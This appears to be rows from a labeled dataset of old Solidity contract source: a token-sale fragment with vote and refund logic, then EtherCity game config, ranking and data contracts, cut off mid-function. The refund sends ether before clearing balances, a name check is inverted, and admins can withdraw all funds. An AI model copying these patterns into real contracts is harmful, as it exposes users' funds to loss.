assert((msg.value * etherCost)/10**18 >= minAmount);
if(orders[to].balance == 0 && orders[to].tokens == 0)
{
holders.push(to);
if (to.balance == 0)
{
to.transfer(0.001 ether);
}
}
uint256 countTokens = ((msg.value - 0.001 ether) * etherCost) / getPrice();
orders[to].balance += msg.value;
orders[to].tokens += countTokens;
supplyTokens += countTokens;
supplyTokensSaved += countTokens;
supplyInvestmen += msg.value;
}
mapping (address => bool) public voter;
uint256 public sumVote = 0;
uint256 public durationVoting = 24 hours;
function vote()
{
assert(!voter[msg.sender]);
assert(now >= endDate && now < endDate + durationVoting);
assert((supplyInvestmen * etherCost)/10**18 >= softCap);
assert(orders[msg.sender].tokens > 0);
voter[msg.sender] = true;
sumVote += orders[msg.sender].tokens;
}
function refund(address holder)
{
assert(orders[holder].balance > 0);
uint256 etherToSend = 0;
if ((supplyInvestmen * etherCost)/10**18 >= softCap)
{
assert(sumVote > supplyTokensSaved / 2);
etherToSend = orders[holder].balance * 95 / 100;
}
else
{
etherToSend = orders[holder].balance;
}
assert(etherToSend > 0);
if (etherToSend > this.balance) etherToSend = this.balance;
holder.transfer(etherToSend);
supplyTokens -= orders[holder].tokens;
orders[holder].balance = 0;
orders[holder].tokens = 0;
}
function takeInvest() isOwner
{
assert(now >= endDate + durationVoting);
assert(this.balance > 0);
if(sumVote > supplyTokensSaved / 2)
{
assert(supplyTokens == 0);
}
owner.transfer(this.balance);
}
} | 0 | 386 |
pragma solidity ^0.4.0;
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0 || b == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function muldiv(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 d) {
if (a == 0 || b == 0) {
return 0;
}
d = a * b;
assert(d / a == b);
return d / c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EtherCityConfig
{
struct BuildingData
{
uint256 population;
uint256 creditsPerSec;
uint256 maxUpgrade;
uint256 constructCredit;
uint256 constructEther;
uint256 upgradeCredit;
uint256 demolishCredit;
uint256 constructSale;
uint256 upgradeSale;
uint256 demolishSale;
}
uint256 private initCredits;
uint256 private initLandCount;
uint256 private initcreditsPerSec;
uint256 private maxLandCount;
uint256 private ethLandCost;
uint256 private creditsPerEth;
address private owner;
address private admin;
mapping(uint256 => BuildingData) private buildingData;
constructor() public payable
{
owner = msg.sender;
creditsPerEth = 1;
}
function SetAdmin(address addr) external
{
assert(msg.sender == owner);
admin = addr;
}
function GetVersion() external pure returns(uint256)
{
return 1000;
}
function GetInitData() external view returns(uint256 ethland, uint256 maxland, uint256 credits, uint256 crdtsec, uint256 landCount)
{
ethland = ethLandCost;
maxland = maxLandCount;
credits = initCredits;
crdtsec = initcreditsPerSec;
landCount = initLandCount;
}
function SetInitData(uint256 ethland, uint256 maxland, uint256 credits, uint256 crdtsec, uint256 landCount) external
{
require(msg.sender == owner || msg.sender == admin);
ethLandCost = ethland;
maxLandCount = maxland;
initCredits = credits;
initcreditsPerSec = crdtsec;
initLandCount = landCount;
}
function GetCreditsPerEth() external view returns(uint256)
{
return creditsPerEth;
}
function SetCreditsPerEth(uint256 crdteth) external
{
require(crdteth > 0);
require(msg.sender == owner || msg.sender == admin);
creditsPerEth = crdteth;
}
function GetLandData() external view returns(uint256 ethland, uint256 maxland)
{
ethland = ethLandCost;
maxland = maxLandCount;
}
function GetBuildingData(uint256 id) external view returns(uint256 bid, uint256 population, uint256 crdtsec,
uint256 maxupd, uint256 cnstcrdt, uint256 cnsteth, uint256 updcrdt, uint256 dmlcrdt,
uint256 cnstcrdtsale, uint256 cnstethsale, uint256 updcrdtsale, uint256 dmlcrdtsale)
{
BuildingData storage bdata = buildingData[id];
bid = id;
population = bdata.population;
crdtsec = bdata.creditsPerSec;
maxupd = bdata.maxUpgrade;
cnstcrdt = bdata.constructCredit;
cnsteth = bdata.constructEther;
updcrdt = bdata.upgradeCredit;
dmlcrdt = bdata.demolishCredit;
cnstcrdtsale = bdata.constructCredit * bdata.constructSale / 100;
cnstethsale = bdata.constructEther * bdata.constructSale /100;
updcrdtsale = bdata.upgradeCredit * bdata.upgradeSale / 100;
dmlcrdtsale = bdata.demolishCredit * bdata.demolishSale / 100;
}
function SetBuildingData(uint256 bid, uint256 pop, uint256 crdtsec, uint256 maxupd,
uint256 cnstcrdt, uint256 cnsteth, uint256 updcrdt, uint256 dmlcrdt) external
{
require(msg.sender == owner || msg.sender == admin);
buildingData[bid] = BuildingData({population:pop, creditsPerSec:crdtsec, maxUpgrade:maxupd,
constructCredit:cnstcrdt, constructEther:cnsteth, upgradeCredit:updcrdt, demolishCredit:dmlcrdt,
constructSale:100, upgradeSale:100, demolishSale:100
});
}
function SetBuildingSale(uint256 bid, uint256 cnstsale, uint256 updsale, uint256 dmlsale) external
{
BuildingData storage bdata = buildingData[bid];
require(0 < cnstsale && cnstsale <= 100);
require(0 < updsale && updsale <= 100);
require(msg.sender == owner || msg.sender == admin);
bdata.constructSale = cnstsale;
bdata.upgradeSale = updsale;
bdata.demolishSale = dmlsale;
}
function SetBuildingDataArray(uint256[] data) external
{
require(data.length % 8 == 0);
require(msg.sender == owner || msg.sender == admin);
for(uint256 index = 0; index < data.length; index += 8)
{
BuildingData storage bdata = buildingData[data[index]];
bdata.population = data[index + 1];
bdata.creditsPerSec = data[index + 2];
bdata.maxUpgrade = data[index + 3];
bdata.constructCredit = data[index + 4];
bdata.constructEther = data[index + 5];
bdata.upgradeCredit = data[index + 6];
bdata.demolishCredit = data[index + 7];
bdata.constructSale = 100;
bdata.upgradeSale = 100;
bdata.demolishSale = 100;
}
}
function GetBuildingParam(uint256 id) external view
returns(uint256 population, uint256 crdtsec, uint256 maxupd)
{
BuildingData storage bdata = buildingData[id];
population = bdata.population;
crdtsec = bdata.creditsPerSec;
maxupd = bdata.maxUpgrade;
}
function GetConstructCost(uint256 id, uint256 count) external view
returns(uint256 cnstcrdt, uint256 cnsteth)
{
BuildingData storage bdata = buildingData[id];
cnstcrdt = bdata.constructCredit * bdata.constructSale / 100 * count;
cnsteth = bdata.constructEther * bdata.constructSale / 100 * count;
}
function GetUpgradeCost(uint256 id, uint256 count) external view
returns(uint256 updcrdt)
{
BuildingData storage bdata = buildingData[id];
updcrdt = bdata.upgradeCredit * bdata.upgradeSale / 100 * count;
}
function GetDemolishCost(uint256 id, uint256 count) external view
returns(uint256)
{
BuildingData storage bdata = buildingData[id];
return bdata.demolishCredit * bdata.demolishSale / 100 * count;
}
}
contract EtherCityRank
{
struct LINKNODE
{
uint256 count;
uint256 leafLast;
}
struct LEAFNODE
{
address player;
uint256 population;
uint256 time;
uint256 prev;
uint256 next;
}
uint256 private constant LINK_NULL = uint256(-1);
uint256 private constant LEAF_PER_LINK = 30;
uint256 private constant LINK_COUNT = 10;
uint256 private constant LINK_ENDIDX = LINK_COUNT - 1;
mapping(uint256 => LINKNODE) private linkNodes;
mapping(uint256 => LEAFNODE) private leafNodes;
uint256 private leafCount;
address private owner;
address private admin;
address private city;
constructor() public payable
{
owner = msg.sender;
for(uint256 index = 1; index < LINK_COUNT; index++)
linkNodes[index] = LINKNODE({count:0, leafLast:LINK_NULL});
linkNodes[0] = LINKNODE({count:1, leafLast:0});
leafNodes[0] = LEAFNODE({player:address(0), population:uint256(-1), time:0, prev:LINK_NULL, next:LINK_NULL});
leafCount = 1;
}
function GetVersion() external pure returns(uint256)
{
return 1000;
}
function GetRank(uint16 rankidx) external view returns(address player, uint256 pop, uint256 time, uint256 nextidx)
{
uint256 leafidx;
if (rankidx == 0)
leafidx = leafNodes[0].next;
else
leafidx = rankidx;
if (leafidx != LINK_NULL)
{
player = leafNodes[leafidx].player;
pop = leafNodes[leafidx].population;
time = leafNodes[leafidx].time;
nextidx = leafNodes[leafidx].next;
}
else
{
player = address(0);
pop = 0;
time = 0;
nextidx = 0;
}
}
function UpdateRank(address player, uint256 pop_new, uint256 time_new) external
{
bool found;
uint256 linkidx;
uint256 leafidx;
uint256 emptyidx;
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
emptyidx = RemovePlayer(player);
(found, linkidx, leafidx) = findIndex(pop_new, time_new);
if (linkidx == LINK_NULL)
return;
if (linkNodes[LINK_ENDIDX].count == LEAF_PER_LINK)
{
emptyidx = linkNodes[LINK_ENDIDX].leafLast;
RemoveRank(LINK_ENDIDX, emptyidx);
}
else if (emptyidx == LINK_NULL)
{
emptyidx = leafCount;
leafCount++;
}
leafNodes[emptyidx] = LEAFNODE({player:player, population:pop_new, time:time_new, prev:LINK_NULL, next:LINK_NULL});
InsertRank(linkidx, leafidx, emptyidx);
}
function adminSetAdmin(address addr) external
{
require(owner == msg.sender);
admin = addr;
}
function adminSetCity(address addr) external
{
require(owner == msg.sender || admin == msg.sender);
city = addr;
}
function adminResetRank() external
{
require(owner == msg.sender || admin == msg.sender);
for(uint256 index = 1; index < LINK_COUNT; index++)
linkNodes[index] = LINKNODE({count:0, leafLast:LINK_NULL});
linkNodes[0] = LINKNODE({count:1, leafLast:0});
leafNodes[0] = LEAFNODE({player:address(0), population:uint256(-1), time:0, prev:LINK_NULL, next:LINK_NULL});
leafCount = 1;
}
function findIndex(uint256 pop, uint256 time) private view returns(bool found, uint256 linkidx, uint256 leafidx)
{
uint256 comp;
found = false;
for(linkidx = 0; linkidx < LINK_COUNT; linkidx++)
{
LINKNODE storage lknode = linkNodes[linkidx];
if (lknode.count < LEAF_PER_LINK)
break;
LEAFNODE storage lfnode = leafNodes[lknode.leafLast];
if ((compareLeaf(pop, time, lfnode.population, lfnode.time) >= 1))
break;
}
if (linkidx == LINK_COUNT)
{
linkidx = (linkNodes[LINK_ENDIDX].count < LEAF_PER_LINK) ? LINK_ENDIDX : LINK_NULL;
leafidx = LINK_NULL;
return;
}
leafidx = lknode.leafLast;
for(uint256 index = 0; index < lknode.count; index++)
{
lfnode = leafNodes[leafidx];
comp = compareLeaf(pop, time, lfnode.population, lfnode.time);
if (comp == 0)
{
leafidx = lfnode.next;
break;
}
else if (comp == 1)
{
found = true;
break;
}
if (index + 1 < lknode.count)
leafidx = lfnode.prev;
}
}
function InsertRank(uint256 linkidx, uint256 leafidx_before, uint256 leafidx_new) private
{
uint256 leafOnLink;
uint256 leafLast;
if (leafidx_before == LINK_NULL)
{
leafLast = linkNodes[linkidx].leafLast;
if (leafLast != LINK_NULL)
ConnectLeaf(leafidx_new, leafNodes[leafLast].next);
else
leafNodes[leafidx_new].next = LINK_NULL;
ConnectLeaf(leafLast, leafidx_new);
linkNodes[linkidx].leafLast = leafidx_new;
linkNodes[linkidx].count++;
return;
}
ConnectLeaf(leafNodes[leafidx_before].prev, leafidx_new);
ConnectLeaf(leafidx_new, leafidx_before);
leafLast = LINK_NULL;
for(uint256 index = linkidx; index < LINK_COUNT; index++)
{
leafOnLink = linkNodes[index].count;
if (leafOnLink < LEAF_PER_LINK)
{
if (leafOnLink == 0)
linkNodes[index].leafLast = leafLast;
linkNodes[index].count++;
break;
}
leafLast = linkNodes[index].leafLast;
linkNodes[index].leafLast = leafNodes[leafLast].prev;
}
}
function RemoveRank(uint256 linkidx, uint256 leafidx) private
{
uint256 next;
for(uint256 index = linkidx; index < LINK_COUNT; index++)
{
LINKNODE storage link = linkNodes[index];
next = leafNodes[link.leafLast].next;
if (next == LINK_NULL)
{
link.count--;
if (link.count == 0)
link.leafLast = LINK_NULL;
break;
}
else
link.leafLast = next;
}
LEAFNODE storage leaf_cur = leafNodes[leafidx];
if (linkNodes[linkidx].leafLast == leafidx)
linkNodes[linkidx].leafLast = leaf_cur.prev;
ConnectLeaf(leaf_cur.prev, leaf_cur.next);
}
function RemovePlayer(address player) private returns(uint256 leafidx)
{
for(uint256 linkidx = 0; linkidx < LINK_COUNT; linkidx++)
{
LINKNODE storage lknode = linkNodes[linkidx];
leafidx = lknode.leafLast;
for(uint256 index = 0; index < lknode.count; index++)
{
LEAFNODE storage lfnode = leafNodes[leafidx];
if (lfnode.player == player)
{
RemoveRank(linkidx, leafidx);
return;
}
leafidx = lfnode.prev;
}
}
return LINK_NULL;
}
function ConnectLeaf(uint256 leafprev, uint256 leafnext) private
{
if (leafprev != LINK_NULL)
leafNodes[leafprev].next = leafnext;
if (leafnext != LINK_NULL)
leafNodes[leafnext].prev = leafprev;
}
function compareLeaf(uint256 pop1, uint256 time1, uint256 pop2, uint256 time2) private pure returns(uint256)
{
if (pop1 > pop2)
return 2;
else if (pop1 < pop2)
return 0;
if (time1 > time2)
return 2;
else if (time1 < time2)
return 0;
return 1;
}
}
contract EtherCityData
{
struct WORLDDATA
{
uint256 ethBalance;
uint256 ethDev;
uint256 population;
uint256 credits;
uint256 starttime;
}
struct WORLDSNAPSHOT
{
bool valid;
uint256 ethDay;
uint256 ethBalance;
uint256 ethRankFund;
uint256 ethShopFund;
uint256 ethRankFundRemain;
uint256 ethShopFundRemain;
uint256 population;
uint256 credits;
uint256 lasttime;
}
struct CITYDATA
{
bytes32 name;
uint256 credits;
uint256 population;
uint256 creditsPerSec;
uint256 landOccupied;
uint256 landUnoccupied;
uint256 starttime;
uint256 lasttime;
uint256 withdrawSS;
}
struct CITYSNAPSHOT
{
bool valid;
uint256 population;
uint256 credits;
uint256 shopCredits;
uint256 lasttime;
}
struct BUILDINGDATA
{
uint256 constructCount;
uint256 upgradeCount;
uint256 population;
uint256 creditsPerSec;
}
uint256 private constant INTFLOATDIV = 100;
address private owner;
address private admin;
address private city;
bool private enabled;
WORLDDATA private worldData;
mapping(uint256 => WORLDSNAPSHOT) private worldSnapshot;
address[] private playerlist;
mapping(address => CITYDATA) private cityData;
mapping(address => mapping(uint256 => CITYSNAPSHOT)) private citySnapshot;
mapping(address => mapping(uint256 => BUILDINGDATA)) private buildings;
mapping(address => uint256) private ethBalance;
constructor() public payable
{
owner = msg.sender;
enabled = true;
worldData = WORLDDATA({ethBalance:0, ethDev:0, population:0, credits:0, starttime:block.timestamp});
worldSnapshot[nowday()] = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:0, credits:0, lasttime:block.timestamp});
}
function GetVersion() external pure returns(uint256)
{
return 1001;
}
function IsPlayer(address player) external view returns(bool)
{
for(uint256 index = 0; index < playerlist.length; index++)
{
if (playerlist[index] == player)
return true;
}
return false;
}
function IsCityNameExist(bytes32 cityname) external view returns(bool)
{
for(uint256 index = 0; index < playerlist.length; index++)
{
if (cityData[playerlist[index]].name == cityname)
return false;
}
return true;
}
function CreateCityData(address player, uint256 crdtsec, uint256 landcount) external
{
uint256 day;
require(cityData[player].starttime == 0);
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
playerlist.push(player);
day = nowday();
cityData[player] = CITYDATA({name:0, credits:0, population:0, creditsPerSec:crdtsec, landOccupied:0, landUnoccupied:landcount, starttime:block.timestamp, lasttime:block.timestamp, withdrawSS:day});
citySnapshot[player][day] = CITYSNAPSHOT({valid:true, population:0, credits:0, shopCredits:0, lasttime:block.timestamp});
}
function GetWorldData() external view returns(uint256 ethBal, uint256 ethDev, uint256 population, uint256 credits, uint256 starttime)
{
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
ethBal = worldData.ethBalance;
ethDev = worldData.ethDev;
population = worldData.population;
credits = worldData.credits;
starttime = worldData.starttime;
}
function SetWorldData(uint256 ethBal, uint256 ethDev, uint256 population, uint256 credits, uint256 starttime) external
{
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
worldData.ethBalance = ethBal;
worldData.ethDev = ethDev;
worldData.population = population;
worldData.credits = credits;
worldData.starttime = starttime;
}
function SetWorldSnapshot(uint256 day, bool valid, uint256 population, uint256 credits, uint256 lasttime) external
{
WORLDSNAPSHOT storage wss = worldSnapshot[day];
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
wss.valid = valid;
wss.population = population;
wss.credits = credits;
wss.lasttime = lasttime;
}
function GetCityData(address player) external view returns(uint256 credits, uint256 population, uint256 creditsPerSec,
uint256 landOccupied, uint256 landUnoccupied, uint256 lasttime)
{
CITYDATA storage cdata = cityData[player];
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
credits = cdata.credits;
population = cdata.population;
creditsPerSec = cdata.creditsPerSec;
landOccupied = cdata.landOccupied;
landUnoccupied = cdata.landUnoccupied;
lasttime = cdata.lasttime;
}
function SetCityData(address player, uint256 credits, uint256 population, uint256 creditsPerSec,
uint256 landOccupied, uint256 landUnoccupied, uint256 lasttime) external
{
CITYDATA storage cdata = cityData[player];
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
cdata.credits = credits;
cdata.population = population;
cdata.creditsPerSec = creditsPerSec;
cdata.landOccupied = landOccupied;
cdata.landUnoccupied = landUnoccupied;
cdata.lasttime = lasttime;
}
function GetCityName(address player) external view returns(bytes32)
{
return cityData[player].name;
}
function SetCityName(address player, bytes32 name) external
{
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
cityData[player].name = name;
}
function GetCitySnapshot(address player, uint256 day) external view returns(bool valid, uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime)
{
CITYSNAPSHOT storage css = citySnapshot[player][day];
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
valid = css.valid;
population = css.population;
credits = css.credits;
shopCredits = css.shopCredits;
lasttime = css.lasttime;
}
function SetCitySnapshot(address player, uint256 day, bool valid, uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime) external
{
CITYSNAPSHOT storage css = citySnapshot[player][day];
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
css.valid = valid;
css.population = population;
css.credits = credits;
css.shopCredits = shopCredits;
css.lasttime = lasttime;
}
function GetBuildingData(address player, uint256 id) external view returns(uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec)
{
BUILDINGDATA storage bdata = buildings[player][id];
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
constructCount = bdata.constructCount;
upgradeCount = bdata.upgradeCount;
population = bdata.population;
creditsPerSec = bdata.creditsPerSec;
}
function SetBuildingData(address player, uint256 id, uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec) external
{
BUILDINGDATA storage bdata = buildings[player][id];
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
bdata.constructCount = constructCount;
bdata.upgradeCount = upgradeCount;
bdata.population = population;
bdata.creditsPerSec = creditsPerSec;
}
function GetEthBalance(address player) external view returns(uint256)
{
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
return ethBalance[player];
}
function SetEthBalance(address player, uint256 eth) external
{
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
ethBalance[player] = eth;
}
function AddEthBalance(address player, uint256 eth) external
{
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
ethBalance[player] += eth;
}
function GetWithdrawBalance(address player) external view returns(uint256 ethBal)
{
uint256 startday;
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
ethBal = ethBalance[player];
startday = cityData[player].withdrawSS;
for(uint256 day = nowday() - 1; day >= startday; day--)
{
WORLDSNAPSHOT memory wss = TestWorldSnapshotInternal(day);
CITYSNAPSHOT memory css = TestCitySnapshotInternal(player, day);
ethBal += Math.min256(SafeMath.muldiv(wss.ethRankFund, css.population, wss.population), wss.ethRankFundRemain);
}
}
function WithdrawEther(address player) external
{
uint256 startday;
uint256 ethBal;
uint256 eth;
CITYDATA storage cdata = cityData[player];
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
ethBal = ethBalance[player];
startday = cdata.withdrawSS;
for(uint256 day = nowday() - 1; day >= startday; day--)
{
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day);
CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day);
if (wss.ethRankFundRemain > 0)
{
eth = Math.min256(SafeMath.muldiv(wss.ethRankFund, css.population, wss.population), wss.ethRankFundRemain);
wss.ethRankFundRemain -= eth;
ethBal += eth;
}
}
require(0 < ethBal);
ethBalance[player] = 0;
cdata.withdrawSS = nowday() - 1;
player.transfer(ethBal);
}
function GetEthShop(address player) external view returns(uint256 shopEth, uint256 shopCredits)
{
uint256 day;
CITYSNAPSHOT memory css;
WORLDSNAPSHOT memory wss;
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
day = nowday() - 1;
if (day < cityData[player].starttime / 24 hours)
{
shopEth = 0;
shopCredits = 0;
return;
}
wss = TestWorldSnapshotInternal(day);
css = TestCitySnapshotInternal(player, day);
shopEth = Math.min256(SafeMath.muldiv(wss.ethShopFund, css.shopCredits, wss.credits), wss.ethShopFundRemain);
shopCredits = css.shopCredits;
}
function TradeEthShop(address player, uint256 credits) external
{
uint256 day;
uint256 shopEth;
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
day = nowday() - 1;
require(day >= cityData[player].starttime / 24 hours);
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day);
CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day);
require(wss.ethShopFundRemain > 0);
require((0 < credits) && (credits <= css.shopCredits));
shopEth = Math.min256(SafeMath.muldiv(wss.ethShopFund, css.shopCredits, wss.credits), wss.ethShopFundRemain);
wss.ethShopFundRemain -= shopEth;
css.shopCredits -= credits;
ethBalance[player] += shopEth;
}
function UpdateEthBalance(uint256 bal, uint256 devf, uint256 rnkf, uint256 shpf) external payable
{
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
worldData.ethBalance += bal + devf + rnkf + shpf;
worldData.ethDev += devf;
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday());
wss.ethDay += bal + devf + rnkf + shpf;
wss.ethBalance += bal;
wss.ethRankFund += rnkf;
wss.ethShopFund += shpf;
wss.ethRankFundRemain += rnkf;
wss.ethShopFundRemain += shpf;
wss.lasttime = block.timestamp;
ethBalance[owner] += devf;
}
function ValidateWorldSnapshot(uint256 day) external returns(uint256 ethRankFund, uint256 population, uint256 credits, uint256 lasttime)
{
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day);
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
ethRankFund = wss.ethRankFund;
population = wss.population;
credits = wss.credits;
lasttime = wss.lasttime;
}
function TestWorldSnapshot(uint256 day) external view returns(uint256 ethRankFund, uint256 population, uint256 credits, uint256 lasttime)
{
WORLDSNAPSHOT memory wss = TestWorldSnapshotInternal(day);
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
ethRankFund = wss.ethRankFund;
population = wss.population;
credits = wss.credits;
lasttime = wss.lasttime;
}
function ValidateCitySnapshot(address player, uint256 day) external returns(uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime)
{
CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day);
require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender));
population = css.population;
credits = css.credits;
shopCredits = css.shopCredits;
lasttime = css.lasttime;
}
function TestCitySnapshot(address player, uint256 day) external view returns(uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime)
{
CITYSNAPSHOT memory css = TestCitySnapshotInternal(player, day);
require(owner == msg.sender || admin == msg.sender || city == msg.sender);
population = css.population;
credits = css.credits;
shopCredits = css.shopCredits;
lasttime = css.lasttime;
}
function nowday() private view returns(uint256)
{
return block.timestamp / 24 hours;
}
function adminSetAdmin(address addr) external
{
require(owner == msg.sender);
admin = addr;
}
function adminSetCity(address addr) external
{
require(owner == msg.sender || admin == msg.sender);
city = addr;
}
function adminGetEnabled() external view returns(bool)
{
require(owner == msg.sender || admin == msg.sender);
return enabled;
}
function adminSetEnabled(bool bval) external
{
require(owner == msg.sender || admin == msg.sender);
enabled = bval;
}
function adminGetWorldData() external view returns(uint256 eth, uint256 ethDev,
uint256 population, uint256 credits, uint256 starttime)
{
require(msg.sender == owner || msg.sender == admin);
eth = worldData.ethBalance;
ethDev = worldData.ethDev;
population = worldData.population;
credits = worldData.credits;
starttime = worldData.starttime;
}
function adminGetWorldSnapshot(uint256 day) external view returns(bool valid, uint256 ethDay, uint256 ethBal, uint256 ethRankFund, uint256 ethShopFund, uint256 ethRankFundRemain,
uint256 ethShopFundRemain, uint256 population, uint256 credits, uint256 lasttime)
{
WORLDSNAPSHOT storage wss = worldSnapshot[day];
require(owner == msg.sender || admin == msg.sender);
valid = wss.valid;
ethDay = wss.ethDay;
ethBal = wss.ethBalance;
ethRankFund = wss.ethRankFund;
ethShopFund = wss.ethShopFund;
ethRankFundRemain = wss.ethRankFundRemain;
ethShopFundRemain = wss.ethShopFundRemain;
population = wss.population;
credits = wss.credits;
lasttime = wss.lasttime;
}
function adminSetWorldSnapshot(uint256 day, bool valid, uint256 ethDay, uint256 ethBal, uint256 ethRankFund, uint256 ethShopFund, uint256 ethRankFundRemain,
uint256 ethShopFundRemain, uint256 population, uint256 credits, uint256 lasttime) external
{
WORLDSNAPSHOT storage wss = worldSnapshot[day];
require(owner == msg.sender || admin == msg.sender);
wss.valid = valid;
wss.ethDay = ethDay;
wss.ethBalance = ethBal;
wss.ethRankFund = ethRankFund;
wss.ethShopFund = ethShopFund;
wss.ethRankFundRemain = ethRankFundRemain;
wss.ethShopFundRemain = ethShopFundRemain;
wss.population = population;
wss.credits = credits;
wss.lasttime = lasttime;
}
function adminGetCityData(address player) external view returns(bytes32 name, uint256 credits, uint256 population, uint256 creditsPerSec,
uint256 landOccupied, uint256 landUnoccupied, uint256 starttime, uint256 lasttime, uint256 withdrawSS)
{
CITYDATA storage cdata = cityData[player];
require(owner == msg.sender || admin == msg.sender);
name = cdata.name;
credits = cdata.credits;
population = cdata.population;
creditsPerSec = cdata.creditsPerSec;
landOccupied = cdata.landOccupied;
landUnoccupied = cdata.landUnoccupied;
starttime = cdata.starttime;
lasttime = cdata.lasttime;
withdrawSS = cdata.withdrawSS;
}
function adminSetCityData(address player, bytes32 name, uint256 credits, uint256 population, uint256 creditsPerSec,
uint256 landOccupied, uint256 landUnoccupied, uint256 starttime, uint256 lasttime, uint256 withdrawSS) external
{
CITYDATA storage cdata = cityData[player];
require(owner == msg.sender || admin == msg.sender);
cdata.name = name;
cdata.credits = credits;
cdata.population = population;
cdata.creditsPerSec = creditsPerSec;
cdata.landOccupied = landOccupied;
cdata.landUnoccupied = landUnoccupied;
cdata.starttime = starttime;
cdata.lasttime = lasttime;
cdata.withdrawSS = withdrawSS;
}
function adminUpdateWorldSnapshot() external
{
require(msg.sender == owner || msg.sender == admin);
ValidateWorldSnapshotInternal(nowday());
}
function adminGetPastShopFund() external view returns(uint256 ethBal)
{
uint256 startday;
WORLDSNAPSHOT memory wss;
require(msg.sender == owner || msg.sender == admin);
ethBal = 0;
startday = worldData.starttime / 24 hours;
for(uint256 day = nowday() - 2; day >= startday; day--)
{
wss = TestWorldSnapshotInternal(day);
ethBal += wss.ethShopFundRemain;
}
}
function adminCollectPastShopFund() external
{
uint256 startday;
uint256 ethBal;
require(msg.sender == owner || msg.sender == admin);
ethBal = ethBalance[owner];
startday = worldData.starttime / 24 hours;
for(uint256 day = nowday() - 2; day >= startday; day--)
{
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day);
ethBal += wss.ethShopFundRemain;
wss.ethShopFundRemain = 0;
}
ethBalance[owner] = ethBal;
}
function adminSendWorldBalance() external payable
{
require(msg.sender == owner || msg.sender == admin);
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday());
wss.ethBalance += msg.value;
}
function adminTransferWorldBalance(uint256 eth) external
{
require(msg.sender == owner || msg.sender == admin);
WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday());
require(eth <= wss.ethBalance);
ethBalance[owner] += eth;
wss.ethBalance -= eth;
}
function adminGetContractBalance() external view returns(uint256)
{
require(msg.sender == owner || msg.sender == admin);
return address(this).balance;
}
function adminTransferContractBalance(uint256 eth) external
{
require(msg.sender == owner || msg.sender == admin);
owner.transfer(eth);
}
function adminGetPlayerCount() external view returns(uint256)
{
require(msg.sender == owner || msg.sender == admin);
return playerlist.length;
}
function adminGetPlayer(uint256 index) external view returns(address player, uint256 eth)
{
require(msg.sender == owner || msg.sender == admin);
player = playerlist[index];
eth = ethBalance[player];
}
function ValidateWorldSnapshotInternal(uint256 day) private returns(WORLDSNAPSHOT storage)
{
uint256 fndf;
uint256 sday;
sday = day;
while (!worldSnapshot[sday].valid)
sday--;
WORLDSNAPSHOT storage prev = worldSnapshot[sday];
sday++;
while (sday <= day)
{
worldSnapshot[sday] = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:prev.population, credits:prev.credits, lasttime:prev.lasttime / 24 hours + 1});
WORLDSNAPSHOT storage wss = worldSnapshot[sday];
wss.ethBalance = prev.ethBalance * 90 /100;
fndf = prev.ethBalance - wss.ethBalance;
wss.ethRankFund = fndf * 70 / 100;
wss.ethShopFund = fndf - wss.ethRankFund;
wss.ethRankFund = wss.ethRankFund;
wss.ethShopFund = wss.ethShopFund;
wss.ethRankFundRemain = wss.ethRankFund;
